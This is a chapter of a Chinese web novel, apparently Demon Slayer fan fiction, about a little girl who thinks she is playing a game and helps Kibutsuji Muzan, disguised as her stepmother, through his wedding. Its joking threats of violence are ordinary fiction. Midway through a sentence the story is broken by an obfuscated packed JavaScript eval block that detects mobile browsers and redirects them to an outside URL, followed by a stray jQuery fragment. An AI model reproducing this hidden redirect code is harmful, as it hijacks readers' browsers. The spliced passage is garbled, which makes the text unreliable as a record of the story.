玩家的恶毒继母生病了。
病的很突然,一整个白天都不肯出门,直到太阳落山才阴沉着脸下楼,把管家骂了个狗血淋头。
言辞之激烈能把死人骂活,落月抵达客厅的时候管家已经活人微死。
养女的到来让鬼舞辻无惨稍稍收敛了脾气。
洋房里的仆人由富商出钱雇佣,未来的夫人管教仆人不要紧,若是连“亲生女儿”都动辄打骂,完美贵夫人的形象难免遭人质疑。
“过来让我看看。”他朝落月招手。
新手村NPC要检查他给奇迹落月氪金的成果了,玩家对自己的搭配之力很有自信,拎着荷叶边的裙摆旋转了一圈。
落月眼中的自己:看我的高分穿搭!
鬼舞辻无惨眼中的玩家:人型圣诞树,全靠一张脸硬撑。
恶毒继母捏了捏眉心,薄唇一张马上要像机关.枪一样吐露出连串的刻薄话。
小女孩眼巴巴地望着他,一副生怕他不满意的模样。
落月:就算不满意,给玩家氪的金也不可能退还哈,没有返现的义务。
罢了,鬼舞辻无惨想,小孩能有什么高端审美,她知道买最贵的穿已经打败了99%的同龄人。
女人冰凉柔软带着幽香的手指拢了拢落月颊边的碎发,冷淡地说:“在婚礼上可不能穿这一身。”
婚礼?落月捕捉到关键词,新手村NPC终于要给玩家发布任务了吗?
她一定会好好干的!
“是!”小女孩庄重地敬了个礼,“我发誓,即使拼上性命也一定会让母亲大人的婚礼圆满成功。”
“如果新郎中途想逃婚,我会用绳子把他捆回来,像绑过年的猪一样丢在母亲大人脚下。”
“倘若新郎敢在交换戒指环节说自己后悔了,我会把他的两根无名指一齐斩下,让他此生再也戴不上第二枚戒指。”
“假如新郎的亲友在婚礼现场大喊母亲大人配不上他,我将一人一砖头杀至婚礼现场血流成河,直到母亲大人的婚纱变成您眼睛的颜色为止。”
尽管放心交给玩家吧,她一定不会搞砸的!
洋房里的管家和仆人:“……”
不愧是夫人亲生的崽,小小姐好可怕!
鬼舞辻无惨:一场婚礼倒也不必出现这么多意外。
“他敢?”美艳的夫人勾了勾红润的薄唇,心情不错地捏了捏小女孩柔软的脸颊肉,“你还挺忠心。”
“因为我最喜欢母亲大人了。”玩家趁机说出经典的加好感台词。
虽然系统没有提示,但看恶毒继母的表情,这波稳了。
她真是个galgame天才,虽然她玩的好像不是galgame,但是管它的,总之玩家是天才。
落月积极地参与婚礼筹备中。
按照流程,婚礼当天新娘上午梳洗化妆换好婚纱,中午与新郎一起前往神社进行神前式的仪式,下午新婚夫妻转移至酒店举办披露宴,晚上再回新居圆房。
是一场硬战,玩家雄心壮志。
“白天的环节都取消。”鬼舞辻无惨漫不经心地说,“我只出席晚上的婚宴。”
刚写完婚礼策划书的落月:硬了,拳头硬了.jpg
有特殊要求不知道早说吗?她宣布你不再是她心爱的新手村NPC,降级为卑鄙的甲方。
“婚礼为什么在夜晚举行?”
婚礼当天,来客中的一位公开质疑道:“新娘为何整个白天都不曾露面,也不移步神社举办神前式的仪式?”
“这个……”管家不好明说,只能道,“老爷和月华夫人都喜欢西方文化,故而决定在酒店举办纯西式的婚礼。”
他咬重了“月华夫人”几个字,暗示来宾:你又不是不知道我家老爷娶的是个寡妇,老爷的前妻死得蹊跷,他心虚不敢去神社请求神明庇佑也是人之常情。
“至于新娘为何不在白天露面,”管家解释说,“月华夫人身体娇贵,不宜晒太阳。”
月华夫人在与富商相识前已在交际圈内小有名气,她肤若凝霜,苍白得像吸血鬼一样,十分符合上流审美。
如此美人忌讳阳光晒伤她的皮肤也很正常,宾客们大多都表示了理解。
偏偏此人不依不饶:“哪有人一上午的太阳都晒不了的?闻所未闻!我看她根本不是个女人,她简直是个——”
“蜜罐子?”落月接话。
男人狠狠吓了一大跳:“谁在说话?!”
声音是从地下传来的,好诡异好恐怖,一定是哪里来的妖怪——男人低下头,视野中出现一个只有他膝盖高的四岁半小女孩。
黑发红瞳,肤白似雪,他瞬间将人与名字对上号:月华夫人带过来的小拖油瓶。
难怪睁眼说瞎话闭眼夸亲妈。
和小孩子计较会显得他心眼小,但男人又实在想宣泄他对月华夫人的不满,一时间脸憋得像便秘一样。
玩家一看就知道NPC有屁要放。
太明显了,落月穿梭在宾客中想找头顶有红色感叹号的NPC接任务,一眼看中了他。
玩家:什么支线任务,你尽管说来。
哪怕是抢婚也行,她有的是力气和手段,就算想尽办法也一定让你加入恶毒继母和便宜继父的婚礼play,包圆梦的。
没有哪个渴望倾诉的人能赢过一双理解的眼睛,男人在落月的注视下补完了他说到一半的话:
“我怀疑月华夫人根本不是个人,只有鬼才不能晒太阳。”
落月本来聚精会神听NPC放屁,闻言露出“就这?”的迷惑表情。
有没有点常识,世界上有一种病叫紫外线过敏。
“你自己戴有色眼镜看人就算了,不要以为人人都像你一样目盲。”玩家狠狠维护她的新手村NPC,“你见过真正的鬼吗?”
玩家可是见过的,而且是上弦之六的稀有鬼,眼睛里刻着特别明显的字,时髦得很。
“我只是听说过又怎样!”男人咬牙,“月华夫人本来就不对劲!”
“她住的洋房在白天都会把窗帘拉得严严实实,贴身服侍的仆人换了又换,对外宣称是因为多嘴嚼舌被辞退,实际上分明是失踪了!只有你那继父像被猪油蒙了心一样非她不娶,真是气煞我也!我妹妹不比她强多了?”
说到最后,男人已经口不择言,把真心话一并讲了出来。
听前半段的时候落月还觉得细思极恐,听到最后一句她恍然大悟。
合着此人一直想把自己的妹妹嫁入豪门,结果中途被玩家的恶毒继母截胡,他无能狂怒,这才故意在婚礼上找人晦气。
“你对母亲大人很了解嘛。”落月掰着手指数,“知道她在家喜欢把窗帘拉上,知道她贴身的仆人换了几个,甚至刻意打听了仆人被辞退后的去向,如今还对娶了她的男人恶语相向——我说,你是不是暗恋月华夫人呀?”
男人声音提高八度:“我不是!我没有!别瞎说!”
落月:“看,恼羞成怒了。”
害羞是恋情开始的第一步,要勇敢正视自己的心意啊!
NPC被玩家气到七窍生烟,转身朝新郎走去。
落月:啊,真要抢亲吗?
玩家只带了一条捆年猪的绳子,是不是不够用?
以防万一,她决定再去搞一条结实的绳子,万一要捆两只猪呢。
这游戏真是越玩越有。
“捆猪的绳子?”捧着首饰盒的女仆路过被落月拦住,为难地说,“我等会儿帮您去找好吗?我得先把首饰盒给夫人送过去。”
“我帮你拿。”落月自告奋勇。
玩家必须赶在抢婚事件出现准备好装备,小小跑腿任务就交给她吧。
小女孩双手捧着首饰盒,穿梭在酒店的人群间,寻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412135|200681||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
找新娘休息室的位置。
新娘休息室离酒店前厅较远,落月迈着小短腿走了半天才走到,她双手被首饰盒占据,脚又很酸,干脆用头槌敲门。
玩家的脑袋没有撞到坚硬的门上,休息室的门虚掩着,她跌跌撞撞地踉跄了几步,撞进一个冰冷幽香的怀抱。
“毛手毛脚的。”鬼舞辻无惨斥责了一句,他没有从落月手中接过首饰盒,只掀开了盒盖,手指伸入盒中挑挑拣拣。
挑剔了半天,他勉强选中一只玳瑁胸针,别在落月的衣服上。
“连首饰都不知道自己搭配。”恶毒继母刻薄地说,“今早不是让仆人送了很多给你?”
落月:可素都是纯金的首饰,杀伤力好低。
她想要鸨母的纯黄铜金簪,好使。
不过鸨母的金簪比起恶毒继母的指甲就差得远了,新手村NPC自带的本命武器好生强劲,玩家嫉妒。
小女孩被呵斥着低下头不知在想什么,鬼舞辻无惨莫名其妙地看着她捧起他的手,柔嫩的指腹轻轻地摩挲这具拟态身体的指甲。
雾霭般的蓝色,极其尖锐,轻易便能划破人类的血肉。
只有不晓得厉害的孩子才会单纯的、饱含羡慕的抚摸,鬼舞辻无惨冷嗤。
玩家:并非如此,我有存档。
而且她不止是想摸一摸,要是母亲大人愿意大发慈悲拔一片指甲送给她就好了,玩家会把它当作母亲大人一样敬爱的。
落月摸够了,转而去牵美艳夫人的手:“到新娘出场的时间了。母亲大人不用担心,我已经准备好了两条用来捆年猪的绳子,绝对万无一失。”
鬼舞辻无惨:给我把绳子扔了。
他嫌弃地拽了拽婚纱垂地的拖尾,几片玫瑰花瓣从婚纱裙摆上抖落,掉在地毯上。
“捧花怎么摔在地上了?”落月低头看见洒了一地的鲜红玫瑰花瓣,打翻的香水瓶歪倒在地毯上,香气浓郁刺鼻。
小女孩打了个喷嚏,不适地揉揉鼻子。
空气中的血腥味只有鬼的嗅觉能闻到,鬼舞辻无惨半个字都懒得解释,冷声让养女快点走,不要耽误婚礼仪式。
落月顺利地把新娘带到会场,她一边急匆匆地去找女仆拿第二根捆猪绳子,一边在人群里搜寻第二头年猪的去向。
以此男对恶毒继母爱恨交织的扭曲感情,他肯定不会让婚礼顺利进行,玩家时刻准备着!
落月坚守岗位。
坚守……
“落月小姐,仪式结束,可以去吃席了。”管家走过来小声提醒道。
玩家:???
抢亲呢?悔婚呢?三十年河东三十年河西莫欺少年穷呢?
婚礼一点儿波折都没有岂不是显得手握两条捆猪绳的玩家很呆吗?
落月决定给游戏打差评,好无聊的展开,完全辜负了玩家的期待!
她一边内心写了八百字小作文给游戏打一星差评,一边坐在宴会主桌吃席。
天呐,好好吃,秒了她家方圆五千米内所有外卖。
落月:打个三星吧,米其林三星。
玩家真是很好哄,美艳的继母勾勾手指玩家又颠颠地跟了上去,乖巧地任继母拿她当借口拒绝新婚丈夫的圆房请求。
落月:啊对对对,我是离开母亲觉都睡不好的可怜小女孩。
“可是,月华夫人……”便宜继父试图再争取一次,管家却在这时急匆匆跑过来,附耳低声说话。
“什么!”便宜继父的声音下意识拔高,又刻意地压低,“财田先生在酒店里失踪了?”
见管家点头,便宜继父的额头出了一层汗,他顾不上和新婚妻子多交代两句,跟着管家疾步离开。
落月站在原地,拽了拽美艳继母的袖子:“母亲大人,财田先生是谁?”
鬼舞辻无惨瞥了她一眼,轻飘飘地回答:“你打算捆起来的第二头猪。”